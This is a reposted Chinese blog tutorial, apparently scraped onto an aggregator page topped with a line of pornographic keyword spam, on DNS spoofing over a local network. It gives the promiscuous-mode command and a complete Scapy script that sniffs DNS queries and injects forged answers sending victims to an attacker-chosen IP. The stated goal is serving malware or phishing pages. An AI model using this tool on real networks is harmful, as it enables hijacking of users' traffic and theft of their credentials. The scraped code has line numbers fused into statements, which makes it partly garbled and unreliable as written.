日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

python实现局域网攻击_通过python实现DNS欺骗

發布時間:2023/12/3 python 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python实现局域网攻击_通过python实现DNS欺骗 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

假設在一個的局域網內有兩個人:Bob和Eve。Eve想讓Bob訪問他創建的惡意網頁,這樣她就可以通過隱藏性的下載給Bob的計算機上安裝惡意軟件,或者可能展示一個欺騙性的站點來試圖竊取Bob的認證信息。

(圖片來自以上提供的鏈接)

(本測試環境,均為centos6.5系統環境)

一、設置attacker服務器的網卡模式為混雜模式,這樣就可以捕獲局域網內的所有數據包:

ifconfig em1 promisc

查看網卡模式:ifconfig em1

說明網卡已經是混雜模式

二、編寫攻擊代碼:

打開dns_spoof.py腳本文件:

1 #!/usr/bin/env python

2 #-*- coding -*-:utf-8

3

4 from scapy.all import *

5 importtime6 importlogging7

8 logger = logging.getLogger('main')9 logging.basicConfig(format='%(levelname)s:%(message)s',level=logging.DEBUG)10 logger.setLevel(logging.DEBUG)11 #Set the interface for scapy to use

12 conf.iface = 'br0'

13 #Set the spoofed response

14 spoofed_ip = '192.168.28.118'

15

16 defsend_response(x):17 #Get the requested domain

18 req_domain =x[DNS].qd.qname19 logger.info('Found request for' +req_domain)20 #First,we delete the existing lengths and checksums..

21 #We will let Scapy re-create them

22 del(x[UDP].len)23 del(x[UDP].chksum)24 del(x[IP].len)25 del(x[IP].chksum)26 #Let`s build our response from a copy of the original packet

27 response =x.copy()28 #we need to start by changing our response to be "from-ds" ,or from the access point.

29 response.FCfield = 2L

30 #Switch the MAC addresses

31 #response.addr1,response.addr2 = x.addr2,x.addr1

32 response.src,response.dst =x.dst,x.src33 #Switch the IP addresses

34 response[IP].src,response[IP].dst =x[IP].dst,x[IP].src35 #Switch the ports

36 response.sport,response.dport =x.dport,x.sport37 #Set the DNS flags

38 response[DNS].qr = 1L

39 response[DNS].ra = 1L

40 response[DNS].ancount = 1

41 #Let`s add on the answer section

42 response[DNS].an =DNSRR(43 rrname =req_domain,44 type = 'A',45 rclass = 'IN',46 ttl = 900,47 rdata =spoofed_ip48 )49 #Now,we inject the response!

50 sendp(response)51 logger.info('Sent response:' + req_domain + '->' + spoofed_ip + '\n')52

53 defmain():54 logger.info('Starting to intercept [CTRL+C to stop]')55 sniff(prn=lambda x: send_response(x),lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)56

57 if __name__ == "__main__":58 #Make it happen!

59 main()

View Code

該腳本將捕獲局域網內的DNS的A記錄查詢

三、演示:(為了方便演示,將本地dns服務器設置為了223.5.5.5)

使用dig @223.5.5.5 www.baidu.com命令測試如下:

本文借鑒了http://jordan-wright.com/blog/2013/11/15/wireless-attacks-with-python-part-one-the-airpwn-attack/的方式,腳本直接使用會有問題,做了一下調整,局域網環境實驗成功。

譯文連接:http://www.oschina.net/translate/wireless-attacks-with-python-part-one-the-airpwn-attack

創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的python实现局域网攻击_通过python实现DNS欺骗的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。